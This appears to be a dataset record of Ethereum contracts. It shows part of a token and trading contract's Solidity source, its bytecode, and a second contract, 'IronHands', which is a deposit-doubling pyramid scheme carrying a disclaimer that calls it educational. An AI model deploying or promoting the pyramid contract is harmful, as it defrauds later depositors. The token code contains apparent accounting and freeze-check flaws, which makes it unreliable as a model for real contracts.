require(tokens <= safeSub(balances[msg.sender], freezeAmount[msg.sender]));
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
}
}
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
require(freezed[msg.sender] != true);
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
require(freezed[msg.sender] != true);
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
require(freezed[msg.sender] != true);
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Freeze Tokens
// ------------------------------------------------------------------------
function freeze(address user, uint amount, uint period) public onlyOwner {
require(balances[user] >= amount);
freezed[user] = true;
unlockTime[user] = uint(now) + period;
freezeAmount[user] = amount;
}
// ------------------------------------------------------------------------
// UnFreeze Tokens
// ------------------------------------------------------------------------
function unFreeze() public {
require(freezed[msg.sender] == true);
require(unlockTime[msg.sender] < uint(now));
freezed[msg.sender] = false;
freezeAmount[msg.sender] = 0;
}
function ifFreeze(address user) public view returns (
bool check,
uint amount,
uint timeLeft
) {
check = freezed[user];
amount = freezeAmount[user];
timeLeft = unlockTime[user] - uint(now);
}
function _mine(uint _amount) internal {
balances[msg.sender] = safeAdd(balances[msg.sender], _amount);
minePool = safeSub(minePool, _amount);
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
contract AnnoConsensus is AnnoToken {
event MembershipUpdate(address indexed member, uint indexed level);
event MembershipCancel(address indexed member);
event AnnoTradeCreated(uint indexed tradeId, bool indexed ifMedal, uint medal, uint token);
event TradeCancel(uint indexed tradeId);
event TradeComplete(uint indexed tradeId, address indexed buyer, address indexed seller, uint medal, uint token);
event Mine(address indexed miner, uint indexed salary);
mapping (address => uint) MemberToLevel;
mapping (address => uint) MemberToMedal;
mapping (address => uint) MemberToToken;
mapping (address => uint) MemberToTime;
uint public period = 14 days;
uint[5] public boardMember =[
0,
500,
2500,
25000,
50000
];
uint[5] public salary = [
0,
1151000000000000000000,
5753000000000000000000,
57534000000000000000000,
115068000000000000000000
];
struct AnnoTrade {
address seller;
bool ifMedal;
uint medal;
uint token;
}
AnnoTrade[] annoTrades;
function boardMemberApply(uint _level) public {
require(medalBalances[msg.sender] >= boardMember[_level]);
_medalFreeze(boardMember[_level]);
MemberToLevel[msg.sender] = _level;
MembershipUpdate(msg.sender, _level);
}
function getBoardMember(address _member) public view returns (uint) {
return MemberToLevel[_member];
}
function boardMemberCancel() public {
require(medalBalances[msg.sender] > 0);
_medalUnFreeze();
MemberToLevel[msg.sender] = 0;
MembershipCancel(msg.sender);
}
function createAnnoTrade(bool _ifMedal, uint _medal, uint _token) public returns (uint) {
if(_ifMedal) {
require(medalBalances[msg.sender] >= _medal);
medalBalances[msg.sender] = safeSub(medalBalances[msg.sender], _medal);
MemberToMedal[msg.sender] = _medal;
AnnoTrade memory anno = AnnoTrade({
seller: msg.sender,
ifMedal:_ifMedal,
medal: _medal,
token: _token
});
uint newMedalTradeId = annoTrades.push(anno) - 1;
AnnoTradeCreated(newMedalTradeId, _ifMedal, _medal, _token);
return newMedalTradeId;
} else {
require(balances[msg.sender] >= _token);
balances[msg.sender] = safeSub(balances[msg.sender], _token);
MemberToToken[msg.sender] = _token;
AnnoTrade memory _anno = AnnoTrade({
seller: msg.sender,
ifMedal:_ifMedal,
medal: _medal,
token: _token
});
uint newTokenTradeId = annoTrades.push(_anno) - 1;
AnnoTradeCreated(newTokenTradeId, _ifMedal, _medal, _token);
return newTokenTradeId;
}
}
function cancelTrade(uint _tradeId) public {
AnnoTrade memory anno = annoTrades[_tradeId];
require(anno.seller == msg.sender);
if(anno.ifMedal){
medalBalances[msg.sender] = safeAdd(medalBalances[msg.sender], anno.medal);
MemberToMedal[msg.sender] = 0;
} else {
balances[msg.sender] = safeAdd(balances[msg.sender], anno.token);
MemberToToken[msg.sender] = 0;
}
delete annoTrades[_tradeId];
TradeCancel(_tradeId);
}
function trade(uint _tradeId) public {
AnnoTrade memory anno = annoTrades[_tradeId];
if(anno.ifMedal){
medalBalances[msg.sender] = safeAdd(medalBalances[msg.sender], anno.medal);
MemberToMedal[anno.seller] = 0;
transfer(anno.seller, anno.token);
delete annoTrades[_tradeId];
TradeComplete(_tradeId, msg.sender, anno.seller, anno.medal, anno.token);
} else {
balances[msg.sender] = safeAdd(balances[msg.sender], anno.token);
MemberToToken[anno.seller] = 0;
medalTransfer(anno.seller, anno.medal);
delete annoTrades[_tradeId];
TradeComplete(_tradeId, msg.sender, anno.seller, anno.medal, anno.token);
}
}
function mine() public {
uint level = MemberToLevel[msg.sender];
require(MemberToTime[msg.sender] < uint(now));
require(minePool >= salary[level]);
require(level > 0);
_mine(salary[level]);
minePool = safeSub(minePool, salary[level]);
MemberToTime[msg.sender] = safeAdd(MemberToTime[msg.sender], period);
Mine(msg.sender, salary[level]);
}
function setSalary(uint one, uint two, uint three, uint four) public onlyOwner {
salary[1] = one;
salary[2] = two;
salary[3] = three;
salary[4] = four;
}
function getTrade(uint _tradeId) public view returns (
address seller,
bool ifMedal,
uint medal,
uint token
) {
AnnoTrade memory _anno = annoTrades[_tradeId];
seller = _anno.seller;
ifMedal = _anno.ifMedal;
medal = _anno.medal;
token = _anno.token;
}
}
|
0x6060604052600436106102375763ffffffff60e060020a6000350416630477d64781146102395780630486529b1461025857806306fdde031461026e578063095ea7b3146102f857806309ec6cc71461032e57806311df19f71461034457806312039fed14610369578063127cc6bf1461037f57806318160ddd1461039257806323169ec4146103a557806323b872dd146103b85780632db25e05146103e057806330e1e4e51461042c578063313ce567146104515780633eaaf86b1461047a5780634a83cfa91461048d5780635fd8c710146104a3578063602e6623146104b657806362bf6fa7146104c9578063637fcf95146104dc57806363c454ca146104fb57806370a082311461054057806379ba50971461055f5780637c85ab3a146105725780637cf12b90146105855780638a583911146105985780638da5cb5b146105ae57806394f29cb3146105dd57806395d89b41146105fc57806399f4b2511461060f5780639b78cf9c14610622578063a22ed37114610647578063a293d1e814610666578063a9059cbb1461067f578063a9b6c435146106a1578063b5931f7c146106b7578063c7847d19146106d0578063cae9ca51146106ee578063cf5b5a7714610753578063d05c78da14610766578063d4ee1d901461077f578063dc39d06d14610792578063dd62ed3e146107b4578063dd86210a146107d9578063df1dd826146107ec578063e6cb901314610802578063ee9adde11461081b578063ef78d4fd1461083d578063f2fde38b14610850575b005b341561024457600080fd5b61023760043560243560443560643561086f565b341561026357600080fd5b61023760043561089e565b341561027957600080fd5b610281610936565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156102bd5780820151838201526020016102a5565b50505050905090810190601f1680156102ea5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561030357600080fd5b61031a600160a060020a03600435166024356109d4565b604051901515815260200160405180910390f35b341561033957600080fd5b610237600435610a69565b341561034f57600080fd5b610357610c0c565b60405190815260200160405180910390f35b341561037457600080fd5b610237600435610c12565b341561038a57600080fd5b610357610c7c565b341561039d57600080fd5b610357610caf565b34156103b057600080fd5b610281610ce1565b34156103c357600080fd5b61031a600160a060020a0360043581169060243516604435610d4c565b34156103eb57600080fd5b6103f6600435610e4d565b604051600160a060020a039094168452911515602084015260408084019190915260608301919091526080909101905180910390f35b341561043757600080fd5b610237600160a060020a0360043516602435604435610eda565b341561045c57600080fd5b610464610f5b565b60405160ff909116815260200160405180910390f35b341561048557600080fd5b610357610f64565b341561049857600080fd5b610237600435610f6a565b34156104ae57600080fd5b610237610fce565b34156104c157600080fd5b610357611024565b34156104d457600080fd5b61046461102a565b34156104e757600080fd5b610357600160a060020a0360043516611033565b341561050657600080fd5b61051a600160a060020a036004351661104e565b604051921515835260208301919091526040808301919091526060909101905180910390f35b341561054b57600080fd5b610357600160a060020a0360043516611087565b341561056a57600080fd5b6102376110a2565b341561057d57600080fd5b610237611130565b341561059057600080fd5b6102376111a5565b34156105a357600080fd5b610357600435611221565b34156105b957600080fd5b6105c1611235565b604051600160a060020a03909116815260200160405180910390f35b34156105e857600080fd5b61051a600160a060020a0360043516611244565b341561060757600080fd5b61028161127d565b341561061a57600080fd5b6102376112e8565b341561062d57600080fd5b610237600160a060020a03600435166024356044356113ff565b341561065257600080fd5b610357600160a060020a0360043516611480565b341561067157600080fd5b61035760043560243561149b565b341561068a57600080fd5b61031a600160a060020a03600435166024356114b0565b34156106ac57600080fd5b61035760043561169b565b34156106c257600080fd5b6103576004356024356116a8565b34156106db57600080fd5b61035760043515156024356044356116c9565b34156106f957600080fd5b61031a60048035600160a060020a03169060248035919060649060443590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506119e495505050505050565b341561075e57600080fd5b610237611b73565b341561077157600080fd5b610357600435602435611bef565b341561078a57600080fd5b6105c1611c14565b341561079d57600080fd5b61031a600160a060020a0360043516602435611c23565b34156107bf57600080fd5b610357600160a060020a0360043581169060243516611cc6565b34156107e457600080fd5b610281611d1d565b34156107f757600080fd5b610237600435611d88565b341561080d57600080fd5b61035760043560243561201f565b341561082657600080fd5b61031a600160a060020a036004351660243561202f565b341561084857600080fd5b610357612219565b341561085b57600080fd5b610237600160a060020a036004351661221f565b60005433600160a060020a0390811691161461088a57600080fd5b601f93909355602091909155602155602255565b601981600581106108ab57fe5b0154600160a060020a03331660009081526006602052604090205410156108d157600080fd5b6108e8601982600581106108e157fe5b0154612269565b600160a060020a033316600081815260146020526040908190208390558291907f0cc0076665281ff8398c9431c41b09049a4aa58f50f11b4130ef230ed60adc87905160405180910390a350565b600b8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109cc5780601f106109a1576101008083540402835291602001916109cc565b820191906000526020600020905b8154815290600101906020018083116109af57829003601f168201915b505050505081565b600160a060020a03331660009081526011602052604081205460ff161515600114156109ff57600080fd5b600160a060020a03338116600081815260106020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b610a7161237b565b6023805483908110610a7f57fe5b9060005260206000209060030201608060405190810160409081528254600160a060020a03808216845260a060020a90910460ff16151560208401526001840154918301919091526002909201546060820152915033168151600160a060020a031614610aeb57600080fd5b806020015115610b4857600160a060020a0333166000908152600660205260409081902054610b1c9183015161201f565b600160a060020a0333166000908152600660209081526040808320939093556015905290812055610b97565b600160a060020a0333166000908152600f6020526040902054610b6f90606083015161201f565b600160a060020a0333166000908152600f602090815260408083209390935560169052908120555b6023805483908110610ba557fe5b600091825260208220600390910201805474ffffffffffffffffffffffffffffffffffffffffff191681556001810182905560020155817f223868bda9e47fa465ee1e1401b3bd23888b9b951308671e785b0e890b728a9660405160405180910390a25050565b60055481565b60005433600160a060020a03908116911614610c2d57600080fd5b600160a060020a033316600090815260066020526040902054610c50908261201f565b600160a060020a033316600090815260066020526040902055600554610c76908261201f565b60055550565b6000805260066020527f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f854600554035b90565b60008052600f6020527ff4803e074bd026baaf6ed2e288c9515f68c72fb7216eebdd7cae1718a53ec37554600d540390565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109cc5780601f106109a1576101008083540402835291602001916109cc565b600160a060020a0383166000908152600f6020526040812054610d6f908361149b565b600160a060020a038086166000908152600f602090815260408083209490945560108152838220339093168252919091522054610dac908361149b565b600160a060020a03808616600090815260106020908152604080832033851684528252808320949094559186168152600f9091522054610dec908361201f565b600160a060020a038085166000818152600f6020526040908190209390935591908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b600080600080610e5b61237b565b6023805487908110610e6957fe5b9060005260206000209060030201608060405190810160409081528254600160a060020a038116835260a060020a900460ff16151560208301526001830154908201526002909101546060820152905080519450806020015193508060400151925080606001519150509193509193565b60005433600160a060020a03908116911614610ef557600080fd5b600160a060020a0383166000908152600f602052604090205482901015610f1b57600080fd5b600160a060020a039092166000908152601160209081526040808320805460ff191660011790556013825280832042909501909455601290529190912055565b600c5460ff1681565b600d5481565b60005433600160a060020a03908116911614610f8557600080fd5b600160a060020a033316600090815260066020526040902054610fa8908261149b565b600160a060020a033316600090815260066020526040902055600554610c76908261149b565b60005433600160a060020a03908116911614610fe957600080fd5b600054600160a060020a039081169030163180156108fc0290604051600060405180830381858888f19350505050151561102257600080fd5b565b600e5481565b60045460ff1681565b600160a060020a031660009081526014602052604090205490565b600160a060020a03166000908152601160209081526040808320546012835281842054601390935292205460ff90921692909142900390565b600160a060020a03166000908152600f602052604090205490565b60015433600160a060020a039081169116146110bd57600080fd5b600154600054600160a060020a0391821691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b600160a060020a0333166000908152600660205260408120541161115357600080fd5b61115b6122cb565b600160a060020a033316600081815260146020526040808220919091557f16bfdc1e6dc7f481f073edc603659a221eed08e79f1d7e075d30eced1d10cc11905160405180910390a2565b600160a060020a03331660009081526011602052604090205460ff1615156001146111cf57600080fd5b600160a060020a0333166000908152601360205260409020544290106111f457600080fd5b600160a060020a0333166000908152601160209081526040808320805460ff191690556012909152812055565b6019816005811061122e57fe5b0154905081565b600054600160a060020a031681565b600160a060020a03166000908152600760209081526040808320546008835281842054600990935292205460ff90921692909142900390565b600a8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109cc5780601f106109a1576101008083540402835291602001916109cc565b600160a060020a03331660009081526014602090815260408083205460179092529091205442901061131957600080fd5b601e816005811061132657fe5b0154600e54101561133657600080fd5b6000811161134357600080fd5b61135a601e826005811061135357fe5b015461232c565b600e5461137590601e836005811061136e57fe5b015461149b565b600e55600160a060020a03331660009081526017602052604090205460185461139e919061201f565b600160a060020a033316600090815260176020526040902055601e81600581106113c457fe5b015433600160a060020a03167ff23a961744a760027f8811c59a0eaef0d29cf965578b17412bcc375b52fa39d160405160405180910390a350565b60005433600160a060020a0390811691161461141a57600080fd5b600160a060020a0383166000908152600660205260409020548290101561144057600080fd5b600160a060020a039092166000908152600760209081526040808320805460ff191660011790556009825280832042909501909455600890529190912055565b600160a060020a031660009081526006602052604090205490565b6000828211156114aa57600080fd5b50900390565b600160a060020a03331660009081526011602052604081205460ff16151561158157600160a060020a0333166000908152600f60205260409020546114f5908361149b565b600160a060020a033381166000908152600f60205260408082209390935590851681522054611524908361201f565b600160a060020a038085166000818152600f602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a3611692565b600160a060020a033316600090815260126020908152604080832054600f90925290912054111561169257600160a060020a0333166000908152600f60209081526040808320546012909252909120546115db919061149b565b8211156115e757600080fd5b600160a060020a0333166000908152600f602052604090205461160a908361149b565b600160a060020a033381166000908152600f60205260408082209390935590851681522054611639908361201f565b600160a060020a038085166000818152600f602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35b50600192915050565b601e816005811061122e57fe5b60008082116116b657600080fd5b81838115156116c157fe5b049392505050565b60006116d361237b565b60006116dd61237b565b6000871561186157600160a060020a0333166000908152600660205260409020548790101561170b57600080fd5b600160a060020a03331660009081526006602052604090205461172e908861149b565b600160a060020a03331660009081526006602090815260408083209390935560159052819020889055608090519081016040528033600160a060020a03168152602001891515815260200188815260200187815250935060016023805480600101828161179b91906123a2565b600092835260209092208791600302018151815473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03919091161781556020820151815490151560a060020a0274ff00000000000000000000000000000000000000001990911617815560408201518160010155606082015181600201555050039250871515837f1fa7f0766ed0834c876ef3c4630a819ec3b88d88ec8498d82c408019ce5f60f8898960405191825260208201526040908101905180910390a38294506119d9565b600160a060020a0333166000908152600f60205260409020548690101561188757600080fd5b600160a060020a0333166000908152600f60205260409020546118aa908761149b565b600160a060020a0333166000908152600f602090815260408083209390935560169052819020879055608090519081016040528033600160a060020a03168152602001891515815260200188815260200187815250915060016023805480600101828161191791906123a2565b600092835260209092208591600302018151815473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03919091161781556020820151815490151560a060020a0274ff00000000000000000000000000000000000000001990911617815560408201518160010155606082015181600201555050039050871515817f1fa7f0766ed0834c876ef3c4630a819ec3b88d88ec8498d82c408019ce5f60f8898960405191825260208201526040908101905180910390a38094505b505050509392505050565b600160a060020a03331660009081526011602052604081205460ff16151560011415611a0f57600080fd5b600160a060020a03338116600081815260106020908152604080832094891680845294909152908190208690557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259086905190815260200160405180910390a383600160a060020a0316638f4ffcb1338530866040518563ffffffff1660e060020a0281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611b07578082015183820152602001611aef565b50505050905090810190601f168015611b345780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1515611b5557600080fd5b6102c65a03f11515611b6657600080fd5b5060019695505050505050565b600160a060020a03331660009081526007602052604090205460ff161515600114611b9d57600080fd5b600160a060020a033316600090815260096020526040902054429010611bc257600080fd5b600160a060020a0333166000908152600760209081526040808320805460ff191690556008909152812055565b818102821580611c095750818382811515611c0657fe5b04145b1515610a6357600080fd5b600154600160a060020a031681565b6000805433600160a060020a03908116911614611c3f57600080fd5b60008054600160a060020a038086169263a9059cbb929091169085906040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515611ca557600080fd5b6102c65a03f11515611cb657600080fd5b5050506040518051949350505050565b600160a060020a03331660009081526011602052604081205460ff16151560011415611cf157600080fd5b50600160a060020a03918216600090815260106020908152604080832093909416825291909152205490565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109cc5780601f106109a1576101008083540402835291602001916109cc565b611d9061237b565b6023805483908110611d9e57fe5b9060005260206000209060030201608060405190810160409081528254600160a060020a038116835260a060020a900460ff16151560208301908152600184015491830191909152600290920154606082015291505115611f0c57600160a060020a0333166000908152600660205260409081902054611e209183015161201f565b600160a060020a0333166000908152600660205260408120919091556015818351600160a060020a03168152602081019190915260400160002055611e6a815182606001516114b0565b506023805483908110611e7957fe5b600091825260208220600390910201805474ffffffffffffffffffffffffffffffffffffffffff1916815560018101829055600201558051600160a060020a031633600160a060020a0316837f8e5d31db095940719a41f61a733ac177443e93085309b93626db618db0c9f2718460400151856060015160405191825260208201526040908101905180910390a461201b565b600160a060020a0333166000908152600f6020526040902054611f3390606083015161201f565b600160a060020a0333166000908152600f60205260408120919091556016818351600160a060020a03168152602081019190915260400160002055611f7d8151826040015161202f565b506023805483908110611f8c57fe5b600091825260208220600390910201805474ffffffffffffffffffffffffffffffffffffffffff1916815560018101829055600201558051600160a060020a031633600160a060020a0316837f8e5d31db095940719a41f61a733ac177443e93085309b93626db618db0c9f2718460400151856060015160405191825260208201526040908101905180910390a45b5050565b81810182811015610a6357600080fd5b600160a060020a03331660009081526007602052604081205460ff16151561210057600160a060020a033316600090815260066020526040902054612074908361149b565b600160a060020a0333811660009081526006602052604080822093909355908516815220546120a3908361201f565b600160a060020a0380851660008181526006602052604090819020939093559133909116907f797d58b46ca1476665f8a47905fdcc51053c5cab415301b27426b7e61037465e9085905190815260200160405180910390a3611692565b600160a060020a033316600090815260086020908152604080832054600690925290912054111561169257600160a060020a03331660009081526006602090815260408083205460089092529091205461215a919061149b565b82111561216657600080fd5b600160a060020a033316600090815260066020526040902054612189908361149b565b600160a060020a0333811660009081526006602052604080822093909355908516815220546121b8908361201f565b600160a060020a0380851660008181526006602052604090819020939093559133909116907f797d58b46ca1476665f8a47905fdcc51053c5cab415301b27426b7e61037465e9085905190815260200160405180910390a350600192915050565b60185481565b60005433600160a060020a0390811691161461223a57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a0333166000908152600660205260409020548190101561228f57600080fd5b600160a060020a0333166000908152600760209081526040808320805460ff191660011790556009825280832060001990556008909152902055565b600160a060020a03331660009081526007602052604090205460ff1615156001146122f557600080fd5b600160a060020a033316600090815260096020908152604080832083905560078252808320805460ff191690556008909152812055565b600160a060020a0333166000908152600f602052604090205461234f908261201f565b600160a060020a0333166000908152600f6020526040902055600e54612375908261149b565b600e5550565b60806040519081016040908152600080835260208301819052908201819052606082015290565b8154818355818115116123ce576003028160030283600052602060002091820191016123ce91906123d3565b505050565b610cac91905b8082111561241357805474ffffffffffffffffffffffffffffffffffffffffff1916815560006001820181905560028201556003016123d9565b50905600a165627a7a72305820f52918ac484198257ec12e970cdca68d5ee7e6a1415f933678e2d568740b5a8a0029
|
{"success": true, "error": null, "results": {}}
| 8,157 |
0xb6aca06a3588f4ce5ce33a1a7e9152892b250ca3
|
pragma solidity ^0.4.21;
/**
*
*
*
*
* ATTENTION!
*
* This code? IS NOT DESIGNED FOR ACTUAL USE.
*
* The author of this code really wishes you wouldn't send your ETH to it, but it's been
* done with P3D and there are very happy users because of it.
*
* No, seriously. It's probablly illegal anyway. So don't do it.
*
* Let me repeat that: Don't actually send money to this contract. You are
* likely breaking several local and national laws in doing so.
*
* This code is intended to educate. Nothing else. If you use it, expect S.W.A.T
* teams at your door. I wrote this code because I wanted to experiment
* with smart contracts, and I think code should be open source. So consider
* it public domain, No Rights Reserved. Participating in pyramid schemes
* is genuinely illegal so just don't even think about going beyond
* reading the code and understanding how it works.
*
* Seriously. I'm not kidding. It's probablly broken in some critical way anyway
* and will suck all your money out your wallet, install a virus on your computer
* sleep with your wife, kidnap your children and sell them into slavery,
* make you forget to file your taxes, and give you cancer.
*
*
* What it does:
*
* It takes 50% of the ETH in it and buys tokens.
* It takes 50% of the ETH in it and pays back depositors.
* Depositors get in line and are paid out in order of deposit, plus the deposit
* percent.
* The tokens collect dividends, which in turn pay into the payout pool
* to be split 50/50.
*
* If you're seeing this contract in it's initial configuration, it should be
* set to 200% (double deposits), and pointed at PoWH:
* 0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe
*
* But you should verify this for yourself.
*
*
*/
contract ERC20Interface {
function transfer(address to, uint256 tokens) public returns (bool success);
}
contract REV {
function buy(address) public payable returns(uint256);
function withdraw() public;
function myTokens() public view returns(uint256);
function myDividends(bool) public view returns(uint256);
}
contract Owned {
address public owner;
address public ownerCandidate;
constructor() public {
owner = 0xc42559F88481e1Df90f64e5E9f7d7C6A34da5691;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) public onlyOwner {
ownerCandidate = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == ownerCandidate);
owner = ownerCandidate;
}
}
contract IronHands is Owned {
/**
* Modifiers
*/
/**
* Only owners are allowed.
*/
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
/**
* The tokens can never be stolen.
*/
modifier notPooh(address aContract){
require(aContract != address(weak_hands));
_;
}
modifier limitBuy() {
if(msg.value > limit) { // check if the transaction is over limit eth (1000 finney = 1 eth)
revert(); // if so : revert the transaction
}
_;
}
/**
* Events
*/
event Deposit(uint256 amount, address depositer);
event Purchase(uint256 amountSpent, uint256 tokensReceived);
event Payout(uint256 amount, address creditor);
event Dividends(uint256 amount);
/**
* Structs
*/
struct Participant {
address etherAddress;
uint256 payout;
}
//Total ETH managed over the lifetime of the contract
uint256 throughput;
//Total ETH received from dividends
uint256 dividends;
//The percent to return to depositers. 100 for 00%, 200 to double, etc.
uint256 public multiplier;
//Where in the line we are with creditors
uint256 public payoutOrder = 0;
//How much is owed to people
uint256 public backlog = 0;
//The creditor line
Participant[] public participants;
//How much each person is owed
mapping(address => uint256) public creditRemaining;
//What we will be buying
REV weak_hands;
// Limitation
uint256 public limit = 100 finney; // 1000 = 1eth | 100 finney = 0.1 eth
/**
* Constructor
*/
/* */
constructor() public {
address cntrct = 0x05215FCE25902366480696F38C3093e31DBCE69A; // contract address
multiplier = 125; // 200 to double | 125 = 25% more
weak_hands = REV(cntrct);
}
/**
* Fallback function allows anyone to send money for the cost of gas which
* goes into the pool. Used by withdraw/dividend payouts so it has to be cheap.
*/
function() payable public {
}
/**
* Deposit ETH to get in line to be credited back the multiplier as a percent,
* add that ETH to the pool, get the dividends and put them in the pool,
* then pay out who we owe and buy more tokens.
*/
function deposit() payable public limitBuy() {
//You have to send more than 1000000 wei.
require(msg.value > 1000000);
//Compute how much to pay them
uint256 amountCredited = (msg.value * multiplier) / 100;
//Get in line to be paid back.
participants.push(Participant(msg.sender, amountCredited));
//Increase the backlog by the amount owed
backlog += amountCredited;
//Increase the amount owed to this address
creditRemaining[msg.sender] += amountCredited;
//Emit a deposit event.
emit Deposit(msg.value, msg.sender);
//If I have dividends
if(myDividends() > 0){
//Withdraw dividends
withdraw();
}
//Pay people out and buy more tokens.
payout();
}
/**
* Take 25% of the money and spend it on tokens, which will pay dividends later.
* Take the other 75%, and use it to pay off depositors.
*/
function payout() public {
//Take everything in the pool
uint balance = address(this).balance;
//It needs to be something worth splitting up
require(balance > 1);
//Increase our total throughput
throughput += balance;
//calculate 25% of investment
uint256 investment = balance / 4;
//Take away the amount we are investing(25%) from the amount to send(75%)
balance -= investment;
//Invest it in more tokens.
uint256 tokens = weak_hands.buy.value(investment).gas(1000000)(msg.sender);
//Record that tokens were purchased
emit Purchase(investment, tokens);
//While we still have money to send
while (balance > 0) {
//Either pay them what they are owed or however much we have, whichever is lower.
uint payoutToSend = balance < participants[payoutOrder].payout ? balance : participants[payoutOrder].payout;
//if we have something to pay them
if(payoutToSend > 0){
//subtract how much we've spent
balance -= payoutToSend;
//subtract the amount paid from the amount owed
backlog -= payoutToSend;
//subtract the amount remaining they are owed
creditRemaining[participants[payoutOrder].etherAddress] -= payoutToSend;
//credit their account the amount they are being paid
participants[payoutOrder].payout -= payoutToSend;
//Try and pay them, making best effort. But if we fail? Run out of gas? That's not our problem any more.
if(participants[payoutOrder].etherAddress.call.value(payoutToSend).gas(1000000)()){
//Record that they were paid
emit Payout(payoutToSend, participants[payoutOrder].etherAddress);
}else{
//undo the accounting, they are being skipped because they are not payable.
balance += payoutToSend;
backlog += payoutToSend;
creditRemaining[participants[payoutOrder].etherAddress] += payoutToSend;
participants[payoutOrder].payout += payoutToSend;
}
}
//If we still have balance left over
if(balance > 0){
// go to the next person in line
payoutOrder += 1;
}
//If we've run out of people to pay, stop
if(payoutOrder >= participants.length){
return;
}
}
}
/**
* Number of tokens the contract owns.
*/
function myTokens() public view returns(uint256){
return weak_hands.myTokens();
}
/**
* Number of dividends owed to the contract.
*/
function myDividends() public view returns(uint256){
return weak_hands.myDividends(true);
}
/**
* Number of dividends received by the contract.
*/
function totalDividends() public view returns(uint256){
return dividends;
}
/**
* Request dividends be paid out and added to the pool.
*/
function withdraw() public {
uint256 balance = address(this).balance;
weak_hands.withdraw.gas(1000000)();
uint256 dividendsPaid = address(this).balance - balance;
dividends += dividendsPaid;
emit Dividends(dividendsPaid);
}
/**
* Number of participants who are still owed.
*/
function backlogLength() public view returns (uint256){
return participants.length - payoutOrder;
}
/**
* Total amount still owed in credit to depositors.
*/
function backlogAmount() public view returns (uint256){
return backlog;
}
/**
* Total number of deposits in the lifetime of the contract.
*/
function totalParticipants() public view returns (uint256){
return participants.length;
}
/**
* Total amount of ETH that the contract has delt with so far.
*/
function totalSpent() public view returns (uint256){
return throughput;
}
/**
* Amount still owed to an individual address
*/
function amountOwed(address anAddress) public view returns (uint256) {
return creditRemaining[anAddress];
}
/**
* Amount owed to this person.
*/
function amountIAmOwed() public view returns (uint256){
return amountOwed(msg.sender);
}
/**
* A trap door for when someone sends tokens other than the intended ones so the overseers can decide where to send them.
*/
function transferAnyERC20Token(address tokenAddress, address tokenOwner, uint tokens) public onlyOwner notPooh(tokenAddress) returns (bool success) {
return ERC20Interface(tokenAddress).transfer(tokenOwner, tokens);
}
function changeLimit(uint256 newLimit) public onlyOwner returns (uint256) {
limit = newLimit * 1 finney;
return limit;
}
}
|
